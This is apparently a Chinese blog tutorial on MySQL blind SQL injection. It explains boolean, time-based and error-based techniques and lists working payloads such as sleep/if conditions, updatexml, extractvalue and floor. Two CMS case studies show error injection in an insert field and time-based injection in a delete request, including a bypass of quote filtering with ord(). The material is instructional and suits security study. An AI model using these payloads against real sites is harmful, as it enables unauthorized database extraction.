• Web攻防04_MySQL注入_盲注



    请添加图片描述

    参考:https://www.jianshu.com/p/bc35f8dd4f7c

    MYSQL-SQL操作-增删改查

    1、功能:数据查询

    查询:SELECT * FROM news where id=$id

    2、功能:新增用户,添加新闻等

    增加:INSERT INTO news (字段名) VALUES (数据)

    3、功能:删除用户,删除新闻等

    删除:DELETE FROM news WHERE id=$id

    4、功能:修改用户,修改文章等

    修改:UPDATE news SET id=$id

    盲注概念

    盲注就是在注入过程中,获取的数据不能回显至前端页面。

    我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。(没有回显的注入)

    解决:常规的联合查询注入不行的情况

    盲注分类

    我们可以知道盲注分为以下三类:

    1、基于布尔的SQL盲注-逻辑判断

    regexp,like,ascii,left,ord,mid

    需要有回显,错了报错

    2、基于时间的SQL盲注-延时判断

    if,sleep

    3、基于报错的SQL盲注-报错回显

    floor,updatexml,extractvalue

    一般用的较多的是延迟注入和报错注入,布尔需要有回显,一般网站都没有。

    盲注语句

    延迟:

    and sleep(1);

    and if(1>2,sleep(1),0);

    and if(1<2,sleep(1),0);

    布尔:

    and length(database())=7; 数据库长度

    and left(database(),1)=‘p’; database()的前一位

    and left(database(),2)=‘pi’; database()的前两位

    and substr(database(),1,1)=‘p’; database()的第一位

    and substr(database(),2,1)=‘i’; database()的第二位

    and ord(left(database(),1))=112;

    报错:

    and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

    0x7e —> 十六进制编码 ~ 为了更好的识别内容,有些工具为了识别也加入

    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    有些报错语句基于MySQL版本决定。有些版本不支持一些语句,目前用的最多的语句:

    1、通过floor报错,注入语句如下:
    and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
    
    2、通过ExtractValue报错,注入语句如下:
    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    
    3、通过UpdateXml报错,注入语句如下:
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    参考&更多盲注语句/函数

    参考:https://www.jianshu.com/p/bc35f8dd4f7c

    like 'ro%'            #判断ro或ro...是否成立 
    
    regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
    
    if(条件,5,0)          #条件成立 返回5 反之 返回0
    
    sleep(5)              #SQL语句延时执行5秒
    
    mid(a,b,c)            #从位置b开始,截取a字符串的c位
    
    substr(a,b,c)         #从位置b开始,截取字符串a的c长度
    
    left(database(),1),database() #left(a,b)从左侧截取a的前b位
    
    length(database())=8  #判断数据库database()名的长度
    
    ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    注入条件-数据回显&错误处理

    PHP开发项目-注入相关条件:

    1、是否有输出结果

    2、是否开启报错

    基于延时:

    都不需要

    and if(1=1,sleep(5),0)

    基于布尔:

    有数据库输出判断标准

    and length(database())=6

    基于报错:

    有数据库报错处理判断标准

    and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

    测试delete注入:(有无回显,有无报错)

    删除(延迟):1 and if(1=1,sleep(5),0)

    删除(布尔):3 and length(database())=6(无回显 无法判断注入)

    删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

    CMS案例-插入报错&删除延时-PHP&MYSQL

    1、xhcms-insert报错

    审计时发现有报错注入:

    请添加图片描述

    找到网站中该处注入点:

    请添加图片描述

    写入注入的报错语句:

    ' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
    
    • 1

    请添加图片描述

    保存提交,得到注入结果:

    请添加图片描述

    注入得出MySQL版本。

    2、kkcms-delete延时

    审计时找到可注入点,但是没有回显也没有报错,只能延时注入:

    请添加图片描述

    找到页面位置:

    请添加图片描述

    由于该注入为延迟注入,需要判断时间,用burpsuite抓包进行改包注入,或用postman等工具进行测试较为方便。

    抓到删除的包

    使用延时语句进行注入:

    and if(1=1,sleep(5),0)

    or if(1=1,sleep(5),0)

    发现并没有延时:

    因为php中有自动过滤单引号,过滤了单引号所以注入失败,将字符换位ASCII码,即可绕过。

    MySQL中ord()函数转换为ASCII码

    **注入语句:**or if(ord(left(database(),1))=107,sleep(2),0)

    ord(left(database(),1))=107该语句表示数据库名第一位的ASCII码为107,即为k

    结果:出现延迟

    请添加图片描述

    总结

    SQL注入-DNSlog带外显示,也就是需要通过SQL语句去请求外部网站,只有使用load_file()去载入外部网址内容才有可能,所以需要是root用户而且将安全开关关闭,才有可能,实战中基本不可能遇到。没有太大价值。

    实际情况中手工注入的机会不多,一般都是先用工具注入,如果工具注入失败,再通过工具的结果情况判断,是哪方面原因,再结合手工注入进行对比,之后再对工具进行修复,对其语句进行修改,再用工具进行注入。

  • 相关阅读:
    分布式架构演进过程
    ASP.NET Core Blazor编程系列一——综述
    Python字符串中变量使用、删除空白、大数表示和列表(补充)(12)
    mysql常用语句之DQL:查询语句
    观测云产品更新|观测云帮助文档目录更新;新增 DEMO 工作空间查看入口;时序图新增事件关联分析等
    ping&icmp
    韩国锂电池工厂火灾:行业安全警钟再次敲响
    SQL之数据库连接
    Echarts 有数据,但图不显示(完美解决方案)
    2022人工智能数学基础1-2(许志钦
  • 原文地址:https://blog.csdn.net/qq_55977327/article/details/133967822